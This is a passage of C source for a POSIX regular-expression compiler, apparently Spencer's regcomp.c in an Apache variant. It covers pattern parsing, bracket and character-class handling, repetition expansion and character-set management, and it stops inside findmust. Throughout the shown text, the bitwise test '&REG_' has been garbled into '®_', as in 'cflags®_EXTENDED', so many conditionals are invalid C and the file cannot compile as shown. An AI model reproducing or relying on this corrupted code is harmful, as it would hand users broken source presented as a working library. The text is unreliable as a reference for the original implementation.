static int never = 0; /* for use in asserts; shuts lint up */
#else
#define never 0 /* some <assert.h>s have bugs too */
#endif
/*
- regcomp - interface for parser and compilation
= API_EXPORT(int) regcomp(regex_t *, const char *, int);
= #define REG_BASIC 0000
= #define REG_EXTENDED 0001
= #define REG_ICASE 0002
= #define REG_NOSUB 0004
= #define REG_NEWLINE 0010
= #define REG_NOSPEC 0020
= #define REG_PEND 0040
= #define REG_DUMP 0200
*/
API_EXPORT(int) /* 0 success, otherwise REG_something */
regcomp(preg, pattern, cflags)
regex_t *preg;
const char *pattern;
int cflags;
{
struct parse pa;
register struct re_guts *g;
register struct parse *p = &pa;
register int i;
register size_t len;
#ifdef REDEBUG
# define GOODFLAGS(f) (f)
#else
# define GOODFLAGS(f) ((f)&~REG_DUMP)
#endif
cflags = GOODFLAGS(cflags);
if ((cflags®_EXTENDED) && (cflags®_NOSPEC))
return(REG_INVARG);
if (cflags®_PEND) {
if (preg->re_endp < pattern)
return(REG_INVARG);
len = preg->re_endp - pattern;
} else
len = strlen((char *)pattern);
/* do the mallocs early so failure handling is easy */
g = (struct re_guts *)malloc(sizeof(struct re_guts) +
(NC-1)*sizeof(cat_t));
if (g == NULL)
return(REG_ESPACE);
p->ssize = len/(size_t)2*(size_t)3 + (size_t)1; /* ugh */
p->strip = (sop *)malloc(p->ssize * sizeof(sop));
p->slen = 0;
if (p->strip == NULL) {
free((char *)g);
return(REG_ESPACE);
}
/* set things up */
p->g = g;
p->next = (char *)pattern; /* convenience; we do not modify it */
p->end = p->next + len;
p->error = 0;
p->ncsalloc = 0;
for (i = 0; i < NPAREN; i++) {
p->pbegin[i] = 0;
p->pend[i] = 0;
}
g->csetsize = NC;
g->sets = NULL;
g->setbits = NULL;
g->ncsets = 0;
g->cflags = cflags;
g->iflags = 0;
g->nbol = 0;
g->neol = 0;
g->must = NULL;
g->mlen = 0;
g->nsub = 0;
g->ncategories = 1; /* category 0 is "everything else" */
g->categories = &g->catspace[-(CHAR_MIN)];
(void) memset((char *)g->catspace, 0, NC*sizeof(cat_t));
g->backrefs = 0;
/* do it */
EMIT(OEND, 0);
g->firststate = THERE();
if (cflags®_EXTENDED)
p_ere(p, OUT);
else if (cflags®_NOSPEC)
p_str(p);
else
p_bre(p, OUT, OUT);
EMIT(OEND, 0);
g->laststate = THERE();
/* tidy up loose ends and fill things in */
categorize(p, g);
stripsnug(p, g);
findmust(p, g);
g->nplus = pluscount(p, g);
g->magic = MAGIC2;
preg->re_nsub = g->nsub;
preg->re_g = g;
preg->re_magic = MAGIC1;
#ifndef REDEBUG
/* not debugging, so can't rely on the assert() in regexec() */
if (g->iflags&BAD)
SETERROR(REG_ASSERT);
#endif
/* win or lose, we're done */
if (p->error != 0) /* lose */
regfree(preg);
return(p->error);
}
/*
- p_ere - ERE parser top level, concatenation and alternation
== static void p_ere(register struct parse *p, int stop);
*/
static void
p_ere(p, stop)
register struct parse *p;
int stop; /* character this ERE should end at */
{
register char c;
register sopno prevback = 0;
register sopno prevfwd = 0;
register sopno conc;
register int first = 1; /* is this the first alternative? */
for (;;) {
/* do a bunch of concatenated expressions */
conc = HERE();
while (MORE() && (c = PEEK()) != '|' && c != stop)
p_ere_exp(p);
REQUIRE(HERE() != conc, REG_EMPTY); /* require nonempty */
if (!EAT('|'))
break; /* NOTE BREAK OUT */
if (first) {
INSERT(OCH_, conc); /* offset is wrong */
prevfwd = conc;
prevback = conc;
first = 0;
}
ASTERN(OOR1, prevback);
prevback = THERE();
AHEAD(prevfwd); /* fix previous offset */
prevfwd = HERE();
EMIT(OOR2, 0); /* offset is very wrong */
}
if (!first) { /* tail-end fixups */
AHEAD(prevfwd);
ASTERN(O_CH, prevback);
}
assert(!MORE() || SEE(stop));
}
/*
- p_ere_exp - parse one subERE, an atom possibly followed by a repetition op
== static void p_ere_exp(register struct parse *p);
*/
static void
p_ere_exp(p)
register struct parse *p;
{
register char c;
register sopno pos;
register int count;
register int count2;
register sopno subno;
int wascaret = 0;
assert(MORE()); /* caller should have ensured this */
c = GETNEXT();
pos = HERE();
switch (c) {
case '(':
REQUIRE(MORE(), REG_EPAREN);
p->g->nsub++;
subno = p->g->nsub;
if (subno < NPAREN)
p->pbegin[subno] = HERE();
EMIT(OLPAREN, subno);
if (!SEE(')'))
p_ere(p, ')');
if (subno < NPAREN) {
p->pend[subno] = HERE();
assert(p->pend[subno] != 0);
}
EMIT(ORPAREN, subno);
MUSTEAT(')', REG_EPAREN);
break;
#ifndef POSIX_MISTAKE
case ')': /* happens only if no current unmatched ( */
/*
* You may ask, why the ifndef? Because I didn't notice
* this until slightly too late for 1003.2, and none of the
* other 1003.2 regular-expression reviewers noticed it at
* all. So an unmatched ) is legal POSIX, at least until
* we can get it fixed.
*/
SETERROR(REG_EPAREN);
break;
#endif
case '^':
EMIT(OBOL, 0);
p->g->iflags |= USEBOL;
p->g->nbol++;
wascaret = 1;
break;
case '$':
EMIT(OEOL, 0);
p->g->iflags |= USEEOL;
p->g->neol++;
break;
case '|':
SETERROR(REG_EMPTY);
break;
case '*':
case '+':
case '?':
SETERROR(REG_BADRPT);
break;
case '.':
if (p->g->cflags®_NEWLINE)
nonnewline(p);
else
EMIT(OANY, 0);
break;
case '[':
p_bracket(p);
break;
case '\\':
REQUIRE(MORE(), REG_EESCAPE);
c = GETNEXT();
ordinary(p, c);
break;
case '{': /* okay as ordinary except if digit follows */
REQUIRE(!MORE() || !isdigit(PEEK()), REG_BADRPT);
/* FALLTHROUGH */
default:
ordinary(p, c);
break;
}
if (!MORE())
return;
c = PEEK();
/* we call { a repetition if followed by a digit */
if (!( c == '*' || c == '+' || c == '?' ||
(c == '{' && MORE2() && isdigit(PEEK2())) ))
return; /* no repetition, we're done */
NEXT1();
REQUIRE(!wascaret, REG_BADRPT);
switch (c) {
case '*': /* implemented as +? */
/* this case does not require the (y|) trick, noKLUDGE */
INSERT(OPLUS_, pos);
ASTERN(O_PLUS, pos);
INSERT(OQUEST_, pos);
ASTERN(O_QUEST, pos);
break;
case '+':
INSERT(OPLUS_, pos);
ASTERN(O_PLUS, pos);
break;
case '?':
/* KLUDGE: emit y? as (y|) until subtle bug gets fixed */
INSERT(OCH_, pos); /* offset slightly wrong */
ASTERN(OOR1, pos); /* this one's right */
AHEAD(pos); /* fix the OCH_ */
EMIT(OOR2, 0); /* offset very wrong... */
AHEAD(THERE()); /* ...so fix it */
ASTERN(O_CH, THERETHERE());
break;
case '{':
count = p_count(p);
if (EAT(',')) {
if (isdigit(PEEK())) {
count2 = p_count(p);
REQUIRE(count <= count2, REG_BADBR);
} else /* single number with comma */
count2 = INFINITY;
} else /* just a single number */
count2 = count;
repeat(p, pos, count, count2);
if (!EAT('}')) { /* error heuristics */
while (MORE() && PEEK() != '}')
NEXT1();
REQUIRE(MORE(), REG_EBRACE);
SETERROR(REG_BADBR);
}
break;
}
if (!MORE())
return;
c = PEEK();
if (!( c == '*' || c == '+' || c == '?' ||
(c == '{' && MORE2() && isdigit(PEEK2())) ) )
return;
SETERROR(REG_BADRPT);
}
/*
- p_str - string (no metacharacters) "parser"
== static void p_str(register struct parse *p);
*/
static void
p_str(p)
register struct parse *p;
{
REQUIRE(MORE(), REG_EMPTY);
while (MORE())
ordinary(p, GETNEXT());
}
/*
- p_bre - BRE parser top level, anchoring and concatenation
== static void p_bre(register struct parse *p, register int end1, \
== register int end2);
* Giving end1 as OUT essentially eliminates the end1/end2 check.
*
* This implementation is a bit of a kludge, in that a trailing $ is first
* taken as an ordinary character and then revised to be an anchor. The
* only undesirable side effect is that '$' gets included as a character
* category in such cases. This is fairly harmless; not worth fixing.
* The amount of lookahead needed to avoid this kludge is excessive.
*/
static void
p_bre(p, end1, end2)
register struct parse *p;
register int end1; /* first terminating character */
register int end2; /* second terminating character */
{
register sopno start = HERE();
register int first = 1; /* first subexpression? */
register int wasdollar = 0;
if (EAT('^')) {
EMIT(OBOL, 0);
p->g->iflags |= USEBOL;
p->g->nbol++;
}
while (MORE() && !SEETWO(end1, end2)) {
wasdollar = p_simp_re(p, first);
first = 0;
}
if (wasdollar) { /* oops, that was a trailing anchor */
DROP(1);
EMIT(OEOL, 0);
p->g->iflags |= USEEOL;
p->g->neol++;
}
REQUIRE(HERE() != start, REG_EMPTY); /* require nonempty */
}
/*
- p_simp_re - parse a simple RE, an atom possibly followed by a repetition
== static int p_simp_re(register struct parse *p, int starordinary);
*/
static int /* was the simple RE an unbackslashed $? */
p_simp_re(p, starordinary)
register struct parse *p;
int starordinary; /* is a leading * an ordinary character? */
{
register int c;
register int count;
register int count2;
register sopno pos;
register int i;
register sopno subno;
# define BACKSL (1<<CHAR_BIT)
pos = HERE(); /* repetion op, if any, covers from here */
assert(MORE()); /* caller should have ensured this */
c = GETNEXT();
if (c == '\\') {
REQUIRE(MORE(), REG_EESCAPE);
c = BACKSL | (unsigned char)GETNEXT();
}
switch (c) {
case '.':
if (p->g->cflags®_NEWLINE)
nonnewline(p);
else
EMIT(OANY, 0);
break;
case '[':
p_bracket(p);
break;
case BACKSL|'{':
SETERROR(REG_BADRPT);
break;
case BACKSL|'(':
p->g->nsub++;
subno = p->g->nsub;
if (subno < NPAREN)
p->pbegin[subno] = HERE();
EMIT(OLPAREN, subno);
/* the MORE here is an error heuristic */
if (MORE() && !SEETWO('\\', ')'))
p_bre(p, '\\', ')');
if (subno < NPAREN) {
p->pend[subno] = HERE();
assert(p->pend[subno] != 0);
}
EMIT(ORPAREN, subno);
REQUIRE(EATTWO('\\', ')'), REG_EPAREN);
break;
case BACKSL|')': /* should not get here -- must be user */
case BACKSL|'}':
SETERROR(REG_EPAREN);
break;
case BACKSL|'1':
case BACKSL|'2':
case BACKSL|'3':
case BACKSL|'4':
case BACKSL|'5':
case BACKSL|'6':
case BACKSL|'7':
case BACKSL|'8':
case BACKSL|'9':
i = (c&~BACKSL) - '0';
assert(i < NPAREN);
if (p->pend[i] != 0) {
assert(i <= p->g->nsub);
EMIT(OBACK_, i);
assert(p->pbegin[i] != 0);
assert(OP(p->strip[p->pbegin[i]]) == OLPAREN);
assert(OP(p->strip[p->pend[i]]) == ORPAREN);
(void) dupl(p, p->pbegin[i]+1, p->pend[i]);
EMIT(O_BACK, i);
} else
SETERROR(REG_ESUBREG);
p->g->backrefs = 1;
break;
case '*':
REQUIRE(starordinary, REG_BADRPT);
/* FALLTHROUGH */
default:
ordinary(p, c &~ BACKSL);
break;
}
if (EAT('*')) { /* implemented as +? */
/* this case does not require the (y|) trick, noKLUDGE */
INSERT(OPLUS_, pos);
ASTERN(O_PLUS, pos);
INSERT(OQUEST_, pos);
ASTERN(O_QUEST, pos);
} else if (EATTWO('\\', '{')) {
count = p_count(p);
if (EAT(',')) {
if (MORE() && isdigit(PEEK())) {
count2 = p_count(p);
REQUIRE(count <= count2, REG_BADBR);
} else /* single number with comma */
count2 = INFINITY;
} else /* just a single number */
count2 = count;
repeat(p, pos, count, count2);
if (!EATTWO('\\', '}')) { /* error heuristics */
while (MORE() && !SEETWO('\\', '}'))
NEXT1();
REQUIRE(MORE(), REG_EBRACE);
SETERROR(REG_BADBR);
}
} else if (c == (unsigned char)'$') /* $ (but not \$) ends it */
return(1);
return(0);
}
/*
- p_count - parse a repetition count
== static int p_count(register struct parse *p);
*/
static int /* the value */
p_count(p)
register struct parse *p;
{
register int count = 0;
register int ndigits = 0;
while (MORE() && isdigit(PEEK()) && count <= DUPMAX) {
count = count*10 + (GETNEXT() - '0');
ndigits++;
}
REQUIRE(ndigits > 0 && count <= DUPMAX, REG_BADBR);
return(count);
}
/*
- p_bracket - parse a bracketed character list
== static void p_bracket(register struct parse *p);
*
* Note a significant property of this code: if the allocset() did SETERROR,
* no set operations are done.
*/
static void
p_bracket(p)
register struct parse *p;
{
register cset *cs = allocset(p);
register int invert = 0;
/* Dept of Truly Sickening Special-Case Kludges */
if (p->next + 5 < p->end && strncmp(p->next, "[:<:]]", 6) == 0) {
EMIT(OBOW, 0);
NEXTn(6);
return;
}
if (p->next + 5 < p->end && strncmp(p->next, "[:>:]]", 6) == 0) {
EMIT(OEOW, 0);
NEXTn(6);
return;
}
if (EAT('^'))
invert++; /* make note to invert set at end */
if (EAT(']'))
CHadd(cs, ']');
else if (EAT('-'))
CHadd(cs, '-');
while (MORE() && PEEK() != ']' && !SEETWO('-', ']'))
p_b_term(p, cs);
if (EAT('-'))
CHadd(cs, '-');
MUSTEAT(']', REG_EBRACK);
if (p->error != 0) /* don't mess things up further */
return;
if (p->g->cflags®_ICASE) {
register int i;
register int ci;
for (i = p->g->csetsize - 1; i >= 0; i--)
if (CHIN(cs, i) && isalpha(i)) {
ci = othercase(i);
if (ci != i)
CHadd(cs, ci);
}
if (cs->multis != NULL)
mccase(p, cs);
}
if (invert) {
register int i;
for (i = p->g->csetsize - 1; i >= 0; i--)
if (CHIN(cs, i))
CHsub(cs, i);
else
CHadd(cs, i);
if (p->g->cflags®_NEWLINE)
CHsub(cs, '\n');
if (cs->multis != NULL)
mcinvert(p, cs);
}
assert(cs->multis == NULL); /* xxx */
if (nch(p, cs) == 1) { /* optimize singleton sets */
ordinary(p, firstch(p, cs));
freeset(p, cs);
} else
EMIT(OANYOF, freezeset(p, cs));
}
/*
- p_b_term - parse one term of a bracketed character list
== static void p_b_term(register struct parse *p, register cset *cs);
*/
static void
p_b_term(p, cs)
register struct parse *p;
register cset *cs;
{
register char c;
register char start, finish;
register int i;
/* classify what we've got */
switch ((MORE()) ? PEEK() : '\0') {
case '[':
c = (MORE2()) ? PEEK2() : '\0';
break;
case '-':
SETERROR(REG_ERANGE);
return; /* NOTE RETURN */
break;
default:
c = '\0';
break;
}
switch (c) {
case ':': /* character class */
NEXT2();
REQUIRE(MORE(), REG_EBRACK);
c = PEEK();
REQUIRE(c != '-' && c != ']', REG_ECTYPE);
p_b_cclass(p, cs);
REQUIRE(MORE(), REG_EBRACK);
REQUIRE(EATTWO(':', ']'), REG_ECTYPE);
break;
case '=': /* equivalence class */
NEXT2();
REQUIRE(MORE(), REG_EBRACK);
c = PEEK();
REQUIRE(c != '-' && c != ']', REG_ECOLLATE);
p_b_eclass(p, cs);
REQUIRE(MORE(), REG_EBRACK);
REQUIRE(EATTWO('=', ']'), REG_ECOLLATE);
break;
default: /* symbol, ordinary character, or range */
/* xxx revision needed for multichar stuff */
start = p_b_symbol(p);
if (SEE('-') && MORE2() && PEEK2() != ']') {
/* range */
NEXT1();
if (EAT('-'))
finish = '-';
else
finish = p_b_symbol(p);
} else
finish = start;
/* xxx what about signed chars here... */
REQUIRE(start <= finish, REG_ERANGE);
for (i = start; i <= finish; i++)
CHadd(cs, i);
break;
}
}
/*
- p_b_cclass - parse a character-class name and deal with it
== static void p_b_cclass(register struct parse *p, register cset *cs);
*/
static void
p_b_cclass(p, cs)
register struct parse *p;
register cset *cs;
{
register char *sp = p->next;
register struct cclass *cp;
register size_t len;
register char *u;
register char c;
while (MORE() && isalpha(PEEK()))
NEXT1();
len = p->next - sp;
for (cp = cclasses; cp->name != NULL; cp++)
if (strncmp(cp->name, sp, len) == 0 && cp->name[len] == '\0')
break;
if (cp->name == NULL) {
/* oops, didn't find it */
SETERROR(REG_ECTYPE);
return;
}
u = cp->chars;
while ((c = *u++) != '\0')
CHadd(cs, c);
for (u = cp->multis; *u != '\0'; u += strlen(u) + 1)
MCadd(p, cs, u);
}
/*
- p_b_eclass - parse an equivalence-class name and deal with it
== static void p_b_eclass(register struct parse *p, register cset *cs);
*
* This implementation is incomplete. xxx
*/
static void
p_b_eclass(p, cs)
register struct parse *p;
register cset *cs;
{
register char c;
c = p_b_coll_elem(p, '=');
CHadd(cs, c);
}
/*
- p_b_symbol - parse a character or [..]ed multicharacter collating symbol
== static char p_b_symbol(register struct parse *p);
*/
static char /* value of symbol */
p_b_symbol(p)
register struct parse *p;
{
register char value;
REQUIRE(MORE(), REG_EBRACK);
if (!EATTWO('[', '.'))
return(GETNEXT());
/* collating symbol */
value = p_b_coll_elem(p, '.');
REQUIRE(EATTWO('.', ']'), REG_ECOLLATE);
return(value);
}
/*
- p_b_coll_elem - parse a collating-element name and look it up
== static char p_b_coll_elem(register struct parse *p, int endc);
*/
static char /* value of collating element */
p_b_coll_elem(p, endc)
register struct parse *p;
int endc; /* name ended by endc,']' */
{
register char *sp = p->next;
register struct cname *cp;
register int len;
while (MORE() && !SEETWO(endc, ']'))
NEXT1();
if (!MORE()) {
SETERROR(REG_EBRACK);
return(0);
}
len = p->next - sp;
for (cp = cnames; cp->name != NULL; cp++)
if (strncmp(cp->name, sp, len) == 0 && cp->name[len] == '\0')
return(cp->code); /* known name */
if (len == 1)
return(*sp); /* single character */
SETERROR(REG_ECOLLATE); /* neither */
return(0);
}
/*
- othercase - return the case counterpart of an alphabetic
== static char othercase(int ch);
*/
static char /* if no counterpart, return ch */
othercase(ch)
int ch;
{
assert(isalpha(ch));
if (isupper(ch))
return(tolower(ch));
else if (islower(ch))
return(toupper(ch));
else /* peculiar, but could happen */
return(ch);
}
/*
- bothcases - emit a dualcase version of a two-case character
== static void bothcases(register struct parse *p, int ch);
*
* Boy, is this implementation ever a kludge...
*/
static void
bothcases(p, ch)
register struct parse *p;
int ch;
{
register char *oldnext = p->next;
register char *oldend = p->end;
char bracket[3];
assert(othercase(ch) != ch); /* p_bracket() would recurse */
p->next = bracket;
p->end = bracket+2;
bracket[0] = ch;
bracket[1] = ']';
bracket[2] = '\0';
p_bracket(p);
assert(p->next == bracket+2);
p->next = oldnext;
p->end = oldend;
}
/*
- ordinary - emit an ordinary character
== static void ordinary(register struct parse *p, register int ch);
*/
static void
ordinary(p, ch)
register struct parse *p;
register int ch;
{
register cat_t *cap = p->g->categories;
if ((p->g->cflags®_ICASE) && isalpha(ch) && othercase(ch) != ch)
bothcases(p, ch);
else {
EMIT(OCHAR, (unsigned char)ch);
if (cap[ch] == 0)
cap[ch] = p->g->ncategories++;
}
}
/*
- nonnewline - emit REG_NEWLINE version of OANY
== static void nonnewline(register struct parse *p);
*
* Boy, is this implementation ever a kludge...
*/
static void
nonnewline(p)
register struct parse *p;
{
register char *oldnext = p->next;
register char *oldend = p->end;
char bracket[4];
p->next = bracket;
p->end = bracket+3;
bracket[0] = '^';
bracket[1] = '\n';
bracket[2] = ']';
bracket[3] = '\0';
p_bracket(p);
assert(p->next == bracket+3);
p->next = oldnext;
p->end = oldend;
}
/*
- repeat - generate code for a bounded repetition, recursively if needed
== static void repeat(register struct parse *p, sopno start, int from, int to);
*/
static void
repeat(p, start, from, to)
register struct parse *p;
sopno start; /* operand from here to end of strip */
int from; /* repeated from this number */
int to; /* to this number of times (maybe INFINITY) */
{
register sopno finish = HERE();
# define N 2
# define INF 3
# define REP(f, t) ((f)*8 + (t))
# define MAP(n) (((n) <= 1) ? (n) : ((n) == INFINITY) ? INF : N)
register sopno copy;
if (p->error != 0) /* head off possible runaway recursion */
return;
assert(from <= to);
switch (REP(MAP(from), MAP(to))) {
case REP(0, 0): /* must be user doing this */
DROP(finish-start); /* drop the operand */
break;
case REP(0, 1): /* as x{1,1}? */
case REP(0, N): /* as x{1,n}? */
case REP(0, INF): /* as x{1,}? */
/* KLUDGE: emit y? as (y|) until subtle bug gets fixed */
INSERT(OCH_, start); /* offset is wrong... */
repeat(p, start+1, 1, to);
ASTERN(OOR1, start);
AHEAD(start); /* ... fix it */
EMIT(OOR2, 0);
AHEAD(THERE());
ASTERN(O_CH, THERETHERE());
break;
case REP(1, 1): /* trivial case */
/* done */
break;
case REP(1, N): /* as x?x{1,n-1} */
/* KLUDGE: emit y? as (y|) until subtle bug gets fixed */
INSERT(OCH_, start);
ASTERN(OOR1, start);
AHEAD(start);
EMIT(OOR2, 0); /* offset very wrong... */
AHEAD(THERE()); /* ...so fix it */
ASTERN(O_CH, THERETHERE());
copy = dupl(p, start+1, finish+1);
assert(copy == finish+4);
repeat(p, copy, 1, to-1);
break;
case REP(1, INF): /* as x+ */
INSERT(OPLUS_, start);
ASTERN(O_PLUS, start);
break;
case REP(N, N): /* as xx{m-1,n-1} */
copy = dupl(p, start, finish);
repeat(p, copy, from-1, to-1);
break;
case REP(N, INF): /* as xx{n-1,INF} */
copy = dupl(p, start, finish);
repeat(p, copy, from-1, to);
break;
default: /* "can't happen" */
SETERROR(REG_ASSERT); /* just in case */
break;
}
}
/*
- seterr - set an error condition
== static int seterr(register struct parse *p, int e);
*/
static int /* useless but makes type checking happy */
seterr(p, e)
register struct parse *p;
int e;
{
if (p->error == 0) /* keep earliest error condition */
p->error = e;
p->next = nuls; /* try to bring things to a halt */
p->end = nuls;
return(0); /* make the return value well-defined */
}
/*
- allocset - allocate a set of characters for []
== static cset *allocset(register struct parse *p);
*/
static cset *
allocset(p)
register struct parse *p;
{
register int no = p->g->ncsets++;
register size_t nc;
register size_t nbytes;
register cset *cs;
register size_t css = (size_t)p->g->csetsize;
register int i;
if (no >= p->ncsalloc) { /* need another column of space */
p->ncsalloc += CHAR_BIT;
nc = p->ncsalloc;
assert(nc % CHAR_BIT == 0);
nbytes = nc / CHAR_BIT * css;
if (p->g->sets == NULL)
p->g->sets = (cset *)malloc(nc * sizeof(cset));
else
p->g->sets = (cset *)realloc((char *)p->g->sets,
nc * sizeof(cset));
if (p->g->setbits == NULL)
p->g->setbits = (uch *)malloc(nbytes);
else {
p->g->setbits = (uch *)realloc((char *)p->g->setbits,
nbytes);
/* xxx this isn't right if setbits is now NULL */
for (i = 0; i < no; i++)
p->g->sets[i].ptr = p->g->setbits + css*(i/CHAR_BIT);
}
if (p->g->sets != NULL && p->g->setbits != NULL)
(void) memset((char *)p->g->setbits + (nbytes - css),
0, css);
else {
no = 0;
SETERROR(REG_ESPACE);
/* caller's responsibility not to do set ops */
}
}
assert(p->g->sets != NULL); /* xxx */
cs = &p->g->sets[no];
cs->ptr = p->g->setbits + css*((no)/CHAR_BIT);
cs->mask = 1 << ((no) % CHAR_BIT);
cs->hash = 0;
cs->smultis = 0;
cs->multis = NULL;
return(cs);
}
/*
- freeset - free a now-unused set
== static void freeset(register struct parse *p, register cset *cs);
*/
static void
freeset(p, cs)
register struct parse *p;
register cset *cs;
{
register unsigned int i;
register cset *top = &p->g->sets[p->g->ncsets];
register size_t css = (size_t)p->g->csetsize;
for (i = 0; i < css; i++)
CHsub(cs, i);
if (cs == top-1) /* recover only the easy case */
p->g->ncsets--;
}
/*
- freezeset - final processing on a set of characters
== static int freezeset(register struct parse *p, register cset *cs);
*
* The main task here is merging identical sets. This is usually a waste
* of time (although the hash code minimizes the overhead), but can win
* big if REG_ICASE is being used. REG_ICASE, by the way, is why the hash
* is done using addition rather than xor -- all ASCII [aA] sets xor to
* the same value!
*/
static int /* set number */
freezeset(p, cs)
register struct parse *p;
register cset *cs;
{
register uch h = cs->hash;
register unsigned int i;
register cset *top = &p->g->sets[p->g->ncsets];
register cset *cs2;
register size_t css = (size_t)p->g->csetsize;
/* look for an earlier one which is the same */
for (cs2 = &p->g->sets[0]; cs2 < top; cs2++)
if (cs2->hash == h && cs2 != cs) {
/* maybe */
for (i = 0; i < css; i++)
if (!!CHIN(cs2, i) != !!CHIN(cs, i))
break; /* no */
if (i == css)
break; /* yes */
}
if (cs2 < top) { /* found one */
freeset(p, cs);
cs = cs2;
}
return((int)(cs - p->g->sets));
}
/*
- firstch - return first character in a set (which must have at least one)
== static int firstch(register struct parse *p, register cset *cs);
*/
static int /* character; there is no "none" value */
firstch(p, cs)
register struct parse *p;
register cset *cs;
{
register unsigned int i;
register size_t css = (size_t)p->g->csetsize;
for (i = 0; i < css; i++)
if (CHIN(cs, i))
return((char)i);
assert(never);
return(0); /* arbitrary */
}
/*
- nch - number of characters in a set
== static int nch(register struct parse *p, register cset *cs);
*/
static int
nch(p, cs)
register struct parse *p;
register cset *cs;
{
register unsigned int i;
register size_t css = (size_t)p->g->csetsize;
register int n = 0;
for (i = 0; i < css; i++)
if (CHIN(cs, i))
n++;
return(n);
}
/*
- mcadd - add a collating element to a cset
== static void mcadd(register struct parse *p, register cset *cs, \
== register char *cp);
*/
static void
mcadd(p, cs, cp)
register struct parse *p;
register cset *cs;
register char *cp;
{
register size_t oldend = cs->smultis;
cs->smultis += strlen(cp) + 1;
if (cs->multis == NULL)
cs->multis = malloc(cs->smultis);
else
cs->multis = realloc(cs->multis, cs->smultis);
if (cs->multis == NULL) {
SETERROR(REG_ESPACE);
return;
}
(void) strcpy(cs->multis + oldend - 1, cp);
cs->multis[cs->smultis - 1] = '\0';
}
/*
- mcinvert - invert the list of collating elements in a cset
== static void mcinvert(register struct parse *p, register cset *cs);
*
* This would have to know the set of possibilities. Implementation
* is deferred.
*/
static void
mcinvert(p, cs)
register struct parse *p;
register cset *cs;
{
assert(cs->multis == NULL); /* xxx */
}
/*
- mccase - add case counterparts of the list of collating elements in a cset
== static void mccase(register struct parse *p, register cset *cs);
*
* This would have to know the set of possibilities. Implementation
* is deferred.
*/
static void
mccase(p, cs)
register struct parse *p;
register cset *cs;
{
assert(cs->multis == NULL); /* xxx */
}
/*
- isinsets - is this character in any sets?
== static int isinsets(register struct re_guts *g, int c);
*/
static int /* predicate */
isinsets(g, c)
register struct re_guts *g;
int c;
{
register uch *col;
register int i;
register int ncols = (g->ncsets+(CHAR_BIT-1)) / CHAR_BIT;
register unsigned uc = (unsigned char)c;
for (i = 0, col = g->setbits; i < ncols; i++, col += g->csetsize)
if (col[uc] != 0)
return(1);
return(0);
}
/*
- samesets - are these two characters in exactly the same sets?
== static int samesets(register struct re_guts *g, int c1, int c2);
*/
static int /* predicate */
samesets(g, c1, c2)
register struct re_guts *g;
int c1;
int c2;
{
register uch *col;
register int i;
register int ncols = (g->ncsets+(CHAR_BIT-1)) / CHAR_BIT;
register unsigned uc1 = (unsigned char)c1;
register unsigned uc2 = (unsigned char)c2;
for (i = 0, col = g->setbits; i < ncols; i++, col += g->csetsize)
if (col[uc1] != col[uc2])
return(0);
return(1);
}
/*
- categorize - sort out character categories
== static void categorize(struct parse *p, register struct re_guts *g);
*/
static void
categorize(p, g)
struct parse *p;
register struct re_guts *g;
{
register cat_t *cats = g->categories;
register int c;
register int c2;
register cat_t cat;
/* avoid making error situations worse */
if (p->error != 0)
return;
for (c = CHAR_MIN; c <= CHAR_MAX; c++)
if (cats[c] == 0 && isinsets(g, c)) {
cat = g->ncategories++;
cats[c] = cat;
for (c2 = c+1; c2 <= CHAR_MAX; c2++)
if (cats[c2] == 0 && samesets(g, c, c2))
cats[c2] = cat;
}
}
/*
- dupl - emit a duplicate of a bunch of sops
== static sopno dupl(register struct parse *p, sopno start, sopno finish);
*/
static sopno /* start of duplicate */
dupl(p, start, finish)
register struct parse *p;
sopno start; /* from here */
sopno finish; /* to this less one */
{
register sopno ret = HERE();
register sopno len = finish - start;
assert(finish >= start);
if (len == 0)
return(ret);
enlarge(p, p->ssize + len); /* this many unexpected additions */
assert(p->ssize >= p->slen + len);
(void) memcpy((char *)(p->strip + p->slen),
(char *)(p->strip + start), (size_t)len*sizeof(sop));
p->slen += len;
return(ret);
}
/*
- doemit - emit a strip operator
== static void doemit(register struct parse *p, sop op, size_t opnd);
*
* It might seem better to implement this as a macro with a function as
* hard-case backup, but it's just too big and messy unless there are
* some changes to the data structures. Maybe later.
*/
static void
doemit(p, op, opnd)
register struct parse *p;
sop op;
size_t opnd;
{
/* avoid making error situations worse */
if (p->error != 0)
return;
/* deal with oversize operands ("can't happen", more or less) */
assert(opnd < 1<<OPSHIFT);
/* deal with undersized strip */
if (p->slen >= p->ssize)
enlarge(p, (p->ssize+1) / 2 * 3); /* +50% */
assert(p->slen < p->ssize);
/* finally, it's all reduced to the easy case */
p->strip[p->slen++] = SOP(op, opnd);
}
/*
- doinsert - insert a sop into the strip
== static void doinsert(register struct parse *p, sop op, size_t opnd, sopno pos);
*/
static void
doinsert(p, op, opnd, pos)
register struct parse *p;
sop op;
size_t opnd;
sopno pos;
{
register sopno sn;
register sop s;
register int i;
/* avoid making error situations worse */
if (p->error != 0)
return;
sn = HERE();
EMIT(op, opnd); /* do checks, ensure space */
assert(HERE() == sn+1);
s = p->strip[sn];
/* adjust paren pointers */
assert(pos > 0);
for (i = 1; i < NPAREN; i++) {
if (p->pbegin[i] >= pos) {
p->pbegin[i]++;
}
if (p->pend[i] >= pos) {
p->pend[i]++;
}
}
memmove((char *)&p->strip[pos+1], (char *)&p->strip[pos],
(HERE()-pos-1)*sizeof(sop));
p->strip[pos] = s;
}
/*
- dofwd - complete a forward reference
== static void dofwd(register struct parse *p, sopno pos, sop value);
*/
static void
dofwd(p, pos, value)
register struct parse *p;
register sopno pos;
sop value;
{
/* avoid making error situations worse */
if (p->error != 0)
return;
assert(value < 1<<OPSHIFT);
p->strip[pos] = OP(p->strip[pos]) | value;
}
/*
- enlarge - enlarge the strip
== static void enlarge(register struct parse *p, sopno size);
*/
static void
enlarge(p, size)
register struct parse *p;
register sopno size;
{
register sop *sp;
if (p->ssize >= size)
return;
sp = (sop *)realloc(p->strip, size*sizeof(sop));
if (sp == NULL) {
SETERROR(REG_ESPACE);
return;
}
p->strip = sp;
p->ssize = size;
}
/*
- stripsnug - compact the strip
== static void stripsnug(register struct parse *p, register struct re_guts *g);
*/
static void
stripsnug(p, g)
register struct parse *p;
register struct re_guts *g;
{
g->nstates = p->slen;
g->strip = (sop *)realloc((char *)p->strip, p->slen * sizeof(sop));
if (g->strip == NULL) {
SETERROR(REG_ESPACE);
g->strip = p->strip;
}
}
/*
- findmust - fill in must and mlen with longest mandatory literal string
== static void findmust(register struct parse *p, register struct re_guts *g);
*
* This algorithm could do fancy things like analyzing the operands of |
* for common subsequences. Someday. This code is simple and finds most
* of the interesting cases.
*
* Note that must and mlen got initialized during setup.
*/
static void
findmust(p, g)
struct parse *p;
